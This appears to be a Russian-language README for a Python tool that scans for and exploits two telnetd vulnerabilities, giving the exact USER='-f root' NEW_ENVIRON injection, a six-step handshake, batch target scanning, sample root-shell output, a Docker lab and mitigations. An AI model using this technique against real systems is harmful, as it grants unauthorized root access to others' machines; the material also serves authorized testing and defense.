Сканер уязвимостей Telnet (CVE-2026-24061 и CVE-2026-32746)

Инструмент для оценки безопасности на Python, который обнаруживает и (где применимо) эксплуатирует две критические уязвимости в GNU InetUtils telnetd:

CVE-2026-24061 – Обход аутентификации через внедрение переменной окружения USER (CVSS 9.8)
CVE-2026-32746 – Переполнение буфера до аутентификации в обработчике LINEMODE SLC (CVSS 9.8)

Важное предупреждение

Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей.
Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно. Авторы не несут ответственности за неправомерное использование или ущерб, причинённый этим инструментом. Используйте на свой страх и риск.

image1(1)

Возможности

Сканирование одной цели – ввод IP-адресов или доменных имён во время выполнения
Пакетное сканирование – загрузка файла с несколькими целями (по одной на строку)
Выборочное тестирование – проверка каждой уязвимости по отдельности или обеих вместе
Эксплуатация CVE-2026-24061 – если уязвимость присутствует, инструмент предоставляет интерактивную оболочку root прямо в том же терминале
Обнаружение CVE-2026-32746 – определяет уязвимые системы с помощью контролируемого обнаружения сбоев
Чистая обработка терминала – оболочка в необработанном режиме с корректным восстановлением при выходе
Проверка подключения – различает заблокированные порты, отключённые службы и реальные уязвимости
Подробная отладка – установите TELNET_SCAN_VERBOSE=1, чтобы видеть каждый IAC-пакет и пошаговое описание эксплуатации
Лабораторная среда Docker – самодостаточная уязвимая цель для безопасного тестирования

Установка

git clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py

Использование

Базовый запуск

python3 telnet_scanner.py

Лаборатория Docker (безопасное тестирование)

Протестируйте эксплойт на заведомо уязвимой цели, не рискуя реальными системами:

cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Цель: 127.0.0.1, Порт: 2323

Лаборатория запускает уязвимый GNU InetUtils 2.5 telnetd в изолированном контейнере, привязанном только к localhost. Без доступа к сети.

Подробный режим

Отладка рукопожатия telnet и точное отображение происходящего на линии:

TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py

Подробный вывод показывает:

Каждую отправленную и полученную команду IAC (DO/WILL/SB)
Расшифрованные названия опций telnet
Дампы полезной нагрузки в шестнадцатеричном виде для подпроверок
Пошаговый процесс эксплуатации (6-шаговое рукопожатие)

Работа с одной целью

Выберите опцию 1
Введите цель (IP или домен, например, 192.168.1.100 или example.com)
Укажите порт (по умолчанию 23, если оставить пустым)
Выберите тип теста:
- 1 – обе уязвимости
- 2 – только CVE-2026-24061 (обход аутентификации)
- 3 – только CVE-2026-32746 (переполнение буфера)

Пакетное сканирование

Создайте файл с целями (по одной на строку) Пример targets.txt:

192.168.1.100
192.168.1.101
10.0.0.50
example.com
# Это строка комментария – игнорируется

Выберите опцию 2
Введите имя файла
Укажите порт (по умолчанию 23)
Выберите тип теста (1, 2 или 3)
Сканер:
- Покажет прогресс для каждой цели
- Отобразит результаты по мере завершения
- Предоставит итоговую таблицу в конце

При получении оболочки

Если CVE-2026-24061 успешна:

Уязвимость обнаружена
Интерактивная оболочка root появляется непосредственно в том же окне терминала
Вводите команды и сразу видите вывод (например, id, whoami, ls)
Нажмите Ctrl+C, чтобы выйти из оболочки и вернуться в меню сканера
При пакетном сканировании будет предложено выбрать: взаимодействовать с оболочкой или продолжить сканирование

Никакого отдельного терминала или дополнительных действий не требуется.

Как это работает

CVE-2026-24061 – Обход аутентификации

Эксплойт выполняет точное 6-шаговое рукопожатие telnet для обеспечения совместимости с реальным GNU InetUtils telnetd:

Ожидание согласования сервера – до 15 секунд на обратный DNS и первоначальные опции DO
Ответ WILL – подтверждение TTYPE, TSPEED, XDISPLOC, NEW_ENVIRON
Ожидание SB SEND – запросы подпроверки от сервера
Отправка полезной нагрузки эксплойта – установка USER="-f root" через подпроверку NEW_ENVIRON
Обработка оставшихся обменов – ответы на DO/WILL для SGA, ECHO, LINEMODE, NAWS
Обнаружение оболочки – поиск приглашения , или

Фоновый поток keepalive каждые 2 секунды отправляет IAC NOP, чтобы предотвратить обнаружение EOF функцией ttloop() в telnetd и вызов exit(1) до обработки полезной нагрузки.

Уязвимый telnetd передаёт -f root в /usr/bin/login, обходя аутентификацию и предоставляя немедленный доступ к оболочке root.

CVE-2026-32746 – Обнаружение переполнения буфера

Согласует опцию LINEMODE (RFC 1184)
Отправляет 500+ триплетов SLC (более 1500 байт) для переполнения буфера фиксированного размера
Отслеживает сбросы/сбои соединения для подтверждения уязвимости

Проверка подключения

Предварительное сканирование для проверки доступности службы перед попытками эксплуатации
Различает:
- Заблокированные порты (брандмауэр блокирует)
- Отключённые службы (служба не запущена)
- Уязвимые службы (успешный эксплойт)

Пример вывода

Одиночная цель

=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit

Choose option: 1
Port (default 23): 

Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1
Target (IP or domain): 192.168.1.100

[*] Resolved 192.168.1.100 -> 192.168.1.100
[*] Scanning 192.168.1.100:23...

[*] Checking if service is reachable...
[+] Service reachable

[*] Testing CVE-2026-24061 (authentication bypass)...
[!] CVE-2026-24061: VULNERABLE – shell obtained!

============================================================
[+] ROOT SHELL OBTAINED! You are now in an interactive root shell.
[+] Type commands directly here. Press Ctrl+C to exit shell.
============================================================

id
uid=0(root) gid=0(root) groups=0(root)

Вывод подробного режима (частично)

    [STEP 1/6] Waiting for server negotiation (may take up to 15s)...
    [STEP 1/6] Got 48 bytes: fffb18fffb20fffb23fffb27...
           decoded: IAC DO TERMINAL-TYPE
           decoded: IAC DO TERMINAL-SPEED  
           decoded: IAC DO X-DISPLAY-LOCATION
           decoded: IAC DO NEW-ENVIRON
    [STEP 2/6] Responding WILL to all DO options
    [STEP 3/6] Waiting for SB SEND subnegotiation requests...
    [STEP 4/6] Sending subnegotiation responses...
               NEW-ENVIRON IS VAR USER VALUE "-f root"  *** EXPLOIT ***
    [STEP 5/6] Handling remaining option negotiations...
    [STEP 5/6] Text received: 'root@vuln-lab:~# '
    [RESULT] SUCCESS: Passwordless root login via USER="-f root" injection

Пакетное сканирование

=== Telnet Vulnerability Scanner ===
1. Scan a single target
2. Scan targets from file (one IP/hostname per line)
3. Exit

Choose option: 2
Port (default 23): 
Enter filename with targets (one per line): targets.txt

Which tests to run?
1. Both
2. Only CVE-2026-24061 (auth bypass - gives shell if vulnerable)
3. Only CVE-2026-32746 (buffer overflow detection)
Choice [1-3]: 1

[*] Loaded 3 targets from targets.txt

==================================================
[1/3] Scanning 192.168.1.100:23
==================================================
[*] Resolved 192.168.1.100 -> 192.168.1.100
[+] Service reachable

[*] Testing CVE-2026-24061...
[!] CVE-2026-24061: VULNERABLE – shell obtained!

[?] Shell obtained! Interact now? (y/N): n

[*] Testing CVE-2026-32746...
[+] Server did not crash; likely not vulnerable

==================================================
[2/3] Scanning 192.168.1.101:23
==================================================
[-] Service not reachable on 192.168.1.101:23

==================================================
[3/3] Scanning example.com:23
==================================================
[*] Resolved example.com -> 93.184.216.34
[+] Service reachable

[*] Testing CVE-2026-24061...
[+] No response received; may still be vulnerable

[*] Testing CVE-2026-32746...
[!] CVE-2026-32746: VULNERABLE (server crashed)

============================================================
SCAN SUMMARY
============================================================
192.168.1.100: VULNERABLE to CVE-2026-24061
192.168.1.101: Service unreachable
example.com: VULNERABLE to CVE-2026-32746
============================================================

Смягчение

Если вы обнаружили уязвимые системы, примените следующие исправления:

Обновите GNU InetUtils до версии 2.8 или новее
Отключите telnetd и заблокируйте TCP/23 на сетевых границах
Ограничьте доступ только доверенными сетями
Мониторьте логи на предмет подключений со значениями NEW_ENVIRON USER, начинающимися с -f

Разработка и тестирование

Лаборатория Docker

Прилагаемый каталог lab/ предоставляет безопасную, воспроизводимую тестовую среду:

cd lab
docker compose up -d
# Подождите ~10 секунд для инициализации telnetd
python3 ../telnet_scanner.py
# Цель: 127.0.0.1, Порт: 2323

Возможности лаборатории:

GNU InetUtils 2.5, скомпилированный из исходников (уязвимые версии)
telnetd запускается внутри изолированного контейнера
Привязан только к localhost:2323 – безопасно для разработки
Включает тестового пользователя (labuser:labpass123) для отладки

Остановите лабораторию по завершении:

cd lab && docker compose down

Известные ограничения

Тест переполнения (CVE-2026-32746) может вызвать сбой уязвимой службы telnetd
Клавиши со стрелками и изменение размера терминала не полностью поддерживаются в интерактивной оболочке
Некоторые брандмауэры или сетевые конфигурации могут мешать согласованию опций Telnet
Пользователи Windows: интерактивная оболочка требует терминал, подобный Unix (WSL, Cygwin или Linux/macOS)

image0(2)

Благодарности

Особая благодарность @leetcrypt – Правильное 6-шаговое рукопожатие, поток keepalive, подробный режим и лаборатория Docker – это круто!

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: предназначено только для авторизованного тестирования безопасности и образовательных целей.

telnet_scan

Популярное

Сканер уязвимостей Telnet (CVE-2026-24061 и CVE-2026-32746)

Важное предупреждение

Возможности

Установка

Использование

Базовый запуск

Лаборатория Docker (безопасное тестирование)

Подробный режим

Работа с одной целью

Пакетное сканирование

При получении оболочки

Как это работает

CVE-2026-24061 – Обход аутентификации

CVE-2026-32746 – Обнаружение переполнения буфера

Проверка подключения

Пример вывода

Одиночная цель

Вывод подробного режима (частично)

Пакетное сканирование

Смягчение

Разработка и тестирование

Лаборатория Docker

Известные ограничения

Благодарности